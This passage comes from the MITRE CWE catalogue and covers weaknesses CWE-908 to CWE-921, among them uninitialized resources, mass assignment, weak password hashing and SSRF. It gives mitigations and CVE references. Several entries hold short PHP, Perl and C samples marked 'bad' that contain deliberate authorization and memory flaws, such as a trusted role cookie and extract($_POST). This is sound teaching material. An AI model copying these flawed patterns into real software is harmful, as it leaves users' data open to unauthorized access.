Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

Demonstrative Examples

Example 1:

The following code could be for a medical records application. It displays a record to already authenticated users, confirming the user's authorization using a value stored in a cookie.

Example Language: PHP *(bad)*

```
$role = $_COOKIES['role'];
if (!$role) {
    $role = getRole('user');
    if ($role) {
        // save the cookie to send out in future responses
        setcookie("role", $role, time()+60*60*2);
    }
    else{
        ShowLoginScreen();
        die("\n");
    }
}
if ($role == 'Reader') {
    DisplayMedicalHistory($_POST['patient_ID']);
}
else{
    die("You are not Authorized to view this record\n");
}
```

The programmer expects that the cookie will only be set when getRole() succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie. However, the attacker can easily set the "role" cookie to the value "Reader". As a result, the $role variable is "Reader", and getRole() is never invoked. The attacker has bypassed the authorization system.

Observed Examples

Reference	Description
CVE-2009-2213	Gateway uses default "Allow" configuration for its authorization settings. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2213*
CVE-2009-0034	Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0034*
CVE-2008-6123	Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6123*
CVE-2008-7109	Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7109*
CVE-2008-3424	Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3424*
CVE-2008-4577	ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4577*
CVE-2006-6679	Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6679*
CVE-2005-2801	Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2801*
CVE-2001-1155	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1155*

CWE-908: Use of Uninitialized Resource

Weakness ID : 908 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses or accesses a resource that has not been initialized.

Extended Description

When a resource has not been properly initialized, the software may behave unexpectedly. This may lead to a crash or invalid memory access, but the consequences vary depending on the type of resource and how it is used within the software.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data *When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.*	
Availability	DoS: Crash, Exit, or Restart *The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend.*	

Potential Mitigations

Phase: Implementation

Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all required steps.

Phase: Implementation

Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization.

Phase: Implementation

Avoid race conditions (CWE-362) during initialization routines.

Phase: Build and Compilation

Run or compile the software with settings that generate warnings about uninitialized variables or data.

Demonstrative Examples

Example 1:

Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

Example Language: Java *(bad)*

```
private boolean initialized = true;
public void someMethod() {
    if (!initialized) {
        // perform initialization tasks
        ...
        initialized = true;
    }
```

Example 2:

The following code intends to limit certain operations to the administrator only.

Example Language: Perl *(bad)*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Example 3:

The following code intends to concatenate a string to a variable and print the string.

Example Language: C *(bad)*

```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

Observed Examples

Reference	Description
CVE-2008-4197	Use of uninitialized memory may allow code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4197*

CWE-909: Missing Initialization of Resource

Weakness ID : 909 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software does not initialize a critical resource.

Extended Description

Many resources require initialization before they can be properly used. If a resource is not initialized, it could contain unpredictable or expired data, or it could be initialized to defaults that are invalid. This can have security implications when the resource is expected to have certain properties or values.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Availability	DoS: Crash, Exit, or Restart *The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend.*	

Potential Mitigations

Phase: Implementation

Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all specified steps.

Phase: Implementation

Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization.

Phase: Implementation

Avoid race conditions (CWE-362) during initialization routines.

Phase: Build and Compilation

Run or compile your software with settings that generate warnings about uninitialized variables or data.

Demonstrative Examples

Example 1:

Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

Example Language: Java *(bad)*

```
private boolean initialized = true;
public void someMethod() {
    if (!initialized) {
        // perform initialization tasks
        ...
        initialized = true;
    }
```

Example 2:

The following code intends to limit certain operations to the administrator only.

Example Language: Perl *(bad)*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Example 3:

The following code intends to concatenate a string to a variable and print the string.

Example Language: C *(bad)*

```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

CWE-910: Use of Expired File Descriptor

Weakness ID : 910 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses or accesses a file descriptor after it has been closed.

Extended Description

After a file descriptor for a particular file or device has been released, it can be reused. The code might not write to the original file, since the reused file descriptor might reference a different file or device.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-911: Improper Update of Reference Count

Weakness ID : 911 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses a reference count to manage a resource, but it does not update or incorrectly updates the reference count.

Extended Description

Reference counts can be used when tracking how many objects contain a reference to a particular resource, such as in memory management or garbage collection. When the reference count reaches zero, the resource can be de-allocated or reused because there are no more objects that use it. If the reference count accidentally reaches zero, then the resource might be released too soon, even though it is still in use. If all objects no longer use the resource, but the reference count is not zero, then the resource might not ever be released.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-912: Hidden Functionality

Weakness ID : 912 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the software's users or administrators.

Extended Description

Hidden functionality can take many forms, such as intentionally malicious code, "Easter Eggs" that contain extraneous functionality such as games, developer-friendly shortcuts that reduce maintenance or support costs such as hard-coded accounts, etc. From a security perspective, even when the functionality is not intentionally malicious or damaging, it can increase the software's attack surface and expose additional weaknesses beyond what is already exposed by the intended functionality. Even if it is not easily accessible, the hidden functionality could be useful for attacks that modify the control flow of the application.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	
Integrity	Alter Execution Logic	

Potential Mitigations

Phase: Installation

Always verify the integrity of the software that is being installed.

Phase: Testing

Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
133	Try All Common Switches
190	Reverse Engineer an Executable to Expose Assumed Hidden Functionality

CWE-913: Improper Control of Dynamically-Managed Code Resources

Weakness ID : 913 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.

Extended Description

Many languages offer powerful features that allow the programmer to dynamically create or modify existing code, or resources used by code such as variables and objects. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can directly influence these code resources in unexpected ways.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

For any externally-influenced input, check the input against an allowlist of acceptable values.

Phase: Implementation

Phase: Architecture and Design

Strategy = Refactoring

Refactor the code so that it does not need to be dynamically managed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046

CWE-914: Improper Control of Dynamically-Identified Variables

Weakness ID : 914 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software does not properly restrict reading from or writing to dynamically-identified variables.

Extended Description

Many languages offer powerful features that allow the programmer to access arbitrary variables that are specified by an input string. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can modify unintended variables that have security implications.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	913	Improper Control of Dynamically-Managed Code Resources	1588
ChildOf	C	99	Improper Control of Resource Identifiers ('Resource Injection')	224
ParentOf	B	621	Variable Extraction Error	1231
ParentOf	B	627	Dynamic Variable Evaluation	1241

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *An attacker could modify sensitive data or program variables.*	
Integrity	Execute Unauthorized Code or Commands	
Other Integrity	Varies by Context Alter Execution Logic	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

For any externally-influenced input, check the input against an allowlist of internal program variables that are allowed to be modified.

Phase: Implementation

Phase: Architecture and Design

Strategy = Refactoring

Refactor the code so that internal program variables do not need to be dynamically identified.

Demonstrative Examples

Example 1:

This code uses the credentials sent in a POST request to login a user.

Example Language: PHP *(bad)*

```
//Log user in, and set $isAdmin to true if user is an administrator
function login($user,$pass){
    $query = buildQuery($user,$pass);
    mysql_query($query);
    if(getUserRole($user) == "Admin"){
        $isAdmin = true;
    }
}
$isAdmin = false;
extract($_POST);
login(mysql_real_escape_string($user),mysql_real_escape_string($pass));
```

The call to extract() will overwrite the existing values of any variables defined previously, in this case $isAdmin. An attacker can send a POST request with an unexpected third value "isAdmin" equal to "true", thus gaining Admin privileges.

Observed Examples

Reference	Description
CVE-2006-7135	extract issue enables file inclusion *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7135*
CVE-2006-7079	extract used for register_globals compatibility layer, enables path traversal *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7079*
CVE-2007-0649	extract() buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0649*
CVE-2006-6661	extract() enables static code injection *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6661*

Reference	Description
CVE-2006-2828	import_request_variables() buried in include files makes post-disclosure analysis confusing *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2828*
CVE-2009-0422	Chain: Dynamic variable evaluation allows resultant remote file inclusion and path traversal. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0422*
CVE-2007-2431	Chain: dynamic variable evaluation in PHP program used to modify critical, unexpected $_SERVER variable for resultant XSS. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2431*
CVE-2006-4904	Chain: dynamic variable evaluation in PHP program used to conduct remote file inclusion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4904*
CVE-2006-4019	Dynamic variable evaluation in mail program allows reading and modifying attachments and preferences of other users. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4019*

CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

Weakness ID : 915 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.

Extended Description

If the object contains attributes that were only intended for internal use, then their unexpected modification could lead to a vulnerability.

This weakness is sometimes known by the language-specific mechanisms that make it possible, such as mass assignment, autobinding, or object injection.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	913	Improper Control of Dynamically-Managed Code Resources	1588

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Ruby *(Prevalence = Undetermined)*

Language : ASP.NET *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Language : Python *(Prevalence = Undetermined)*

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Mass Assignment : "Mass assignment" is the name of a feature in Ruby on Rails that allows simultaneous modification of multiple object attributes.

AutoBinding : The "Autobinding" term is used in frameworks such as Spring MVC and ASP.NET MVC.

PHP Object Injection : Some PHP application researchers use this term for attacking unsafe use of the unserialize() function, but it is also used for CWE-502.

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *An attacker could modify sensitive data or program variables.*	
Integrity	Execute Unauthorized Code or Commands	
Other Integrity	Varies by Context Alter Execution Logic	

Potential Mitigations

Phase: Implementation

If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists. For applications written with Ruby on Rails, use the attr_accessible (allowlist) or attr_protected (denylist) macros in each class that may be used in mass assignment.

Phase: Architecture and Design

Phase: Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Phase: Implementation

Strategy = Input Validation

For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.

Phase: Implementation

Phase: Architecture and Design

Strategy = Refactoring

Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.

Observed Examples

Reference	Description
CVE-2012-2054	Mass assignment allows modification of arbitrary attributes using modified URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2054*
CVE-2012-2055	Source version control product allows modification of trusted key using mass assignment. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2055*
CVE-2008-7310	Attackers can bypass payment step in e-commerce software. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7310*
CVE-2013-1465	Use of PHP unserialize function on untrusted input allows attacker to modify application configuration. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1465*
CVE-2012-3527	Use of PHP unserialize function on untrusted input in content management system might allow code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3527*
CVE-2012-0911	Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0911*
CVE-2012-0911	Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0911*
CVE-2011-4962	Content management system written in PHP allows code execution through page comments. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4962*
CVE-2009-4137	Use of PHP unserialize function on cookie value allows remote code execution or upload of arbitrary files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4137*
CVE-2007-5741	Content management system written in Python interprets untrusted data as pickles, allowing code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5741*
CVE-2011-2520	Python script allows local users to execute code via pickled data. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2520*
CVE-2005-2875	Python script allows remote attackers to execute arbitrary code using pickled objects. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2875*
CVE-2013-0277	Ruby on Rails allows deserialization of untrusted YAML to execute arbitrary code. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0277*
CVE-2011-2894	Spring framework allows deserialization of objects from untrusted sources to execute arbitrary code. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2894*
CVE-2012-1833	Grails allows binding of arbitrary parameters to modify arbitrary object properties. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1833*
CVE-2010-3258	Incorrect deserialization in web browser allows escaping the sandbox. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3258*
CVE-2008-1013	Media library allows deserialization of objects by untrusted Java applets, leading to arbitrary code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1013*

Notes

Maintenance

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.

CWE-916: Use of Password Hash With Insufficient Computational Effort

Weakness ID : 916 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software generates a hash for a password, but it uses a scheme that does not provide a sufficient level of computational effort that would make password cracking attacks infeasible or expensive.

Extended Description

Many password storage mechanisms compute a hash and store the hash, instead of storing the original password in plaintext. In this design, authentication involves accepting an incoming password, computing its hash, and comparing it to the stored hash.

Many hash algorithms are designed to execute quickly with minimal overhead, even cryptographic hashes. However, this efficiency is a problem for password storage, because it can reduce an attacker's workload for brute-force password cracking. If an attacker can obtain the hashes through some other method (such as SQL injection on a database that stores hashes), then the attacker can store the hashes offline and use various techniques to crack the passwords by computing hashes efficiently. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing (such as cloud computing) and GPU, ASIC, or FPGA hardware. In such a scenario, an efficient hash algorithm helps the attacker.

There are several properties of a hash scheme that are relevant to its strength against an offline, massively-parallel attack:

- The amount of CPU time required to compute the hash ("stretching")
- The amount of memory required to compute the hash ("memory-hard" operations)
- Including a random value, along with the password, as input to the hash computation ("salting")
- Given a hash, there is no known way of determining an input (e.g., a password) that produces this hash value, other than by guessing possible inputs ("one-way" hashing)
- Relative to the number of all possible hashes that can be generated by the scheme, there is a low likelihood of producing the same hash for multiple different inputs ("collision resistance")

Note that the security requirements for the software may vary depending on the environment and the value of the passwords. Different schemes might not provide all of these properties, yet may still provide sufficient security for the environment. Conversely, a solution might be very strong in preserving one property, which still being very weak for an attack against another property, or it might not be able to significantly reduce the efficiency of a massively-parallel attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use. Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead. Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Effectiveness = High

Phase: Implementation

Phase: Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Observed Examples

Reference	Description
CVE-2008-1526	Router does not use a salt with a hash, making it easier to crack passwords. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1526*

CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

Weakness ID : 917 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software constructs all or part of an expression language (EL) statement in a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	1975

Notes

Relationship

In certain versions of Spring 3.0.5 and earlier, there was a vulnerability (CVE-2011-2730) in which Expression Language tags would be evaluated twice, which effectively exposed any application to EL injection. However, even for later versions, this weakness is still possible depending on configuration.

CWE-918: Server-Side Request Forgery (SSRF)

Weakness ID : 918 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Extended Description

By providing URLs to unexpected hosts or ports, attackers can make it appear that the server is sending the request, possibly bypassing access controls such as firewalls that prevent the attackers from accessing the URLs directly. The server can be used as a proxy to conduct port scanning of hosts in internal networks, use other URLs such as that can access documents on the system (using file://), or use other protocols such as gopher:// or tftp://, which may provide greater control over the contents of requests.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Technology : Web Server *(Prevalence = Undetermined)*

Alternate Terms

XSPA : Cross Site Port Attack

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	

Observed Examples

Reference	Description
CVE-2002-1484	Web server allows attackers to request a URL from another server, including other ports, which allows proxied scanning. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1484*
CVE-2004-2061	CGI script accepts and retrieves incoming URLs. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2061*
CVE-2010-1637	Web-based mail program allows internal network scanning using a modified POP3 port number. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1637*
CVE-2009-0037	URL-downloading library automatically follows redirects to file:// and scp:// URLs *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0037*

Notes

Relationship

CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.

CWE-920: Improper Restriction of Power Consumption

Weakness ID : 920 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software operates in an environment in which power is a limited resource that cannot be automatically replenished, but the software does not properly restrict the amount of power that its operation consumes.

Extended Description

In environments such as embedded or mobile devices, power can be a limited resource such as a battery, which cannot be automatically replenished by the software itself, and the device might not always be directly attached to a reliable power source. If the software uses too much power too quickly, then this could cause the device (and subsequently, the software) to stop functioning until power is restored, or increase the financial burden on the device owner because of increased power costs.

Normal operation of an application will consume power. However, in some cases, an attacker could cause the application to consume more power than intended, using components such as:

- Display
- CPU
- Disk I/O
- GPS
- Sound
- Microphone
- USB interface

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) DoS: Crash, Exit, or Restart *The power source could be drained, causing the application - and the entire device - to cease functioning.*	

CWE-921: Storage of Sensitive Data in a Mechanism without Access Control

Weakness ID : 921 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software stores sensitive information in a file system or device that does not have built-in access control.

Extended Description

While many modern file systems or devices utilize some form of access control in order to restrict access to data, not all storage mechanisms have this capability. For example, memory cards, floppy disks, CDs, and USB devices are typically made accessible to any user within the system. This can become a problem when sensitive data is stored in these mechanisms in a multi-user environment, because anybody on the system can read or write this data.

On Android devices, external storage is typically globally readable and writable by other applications on the device. External storage may also be easily accessible through the mobile device's USB connection or physically accessible through the device's memory card port.

Relationships

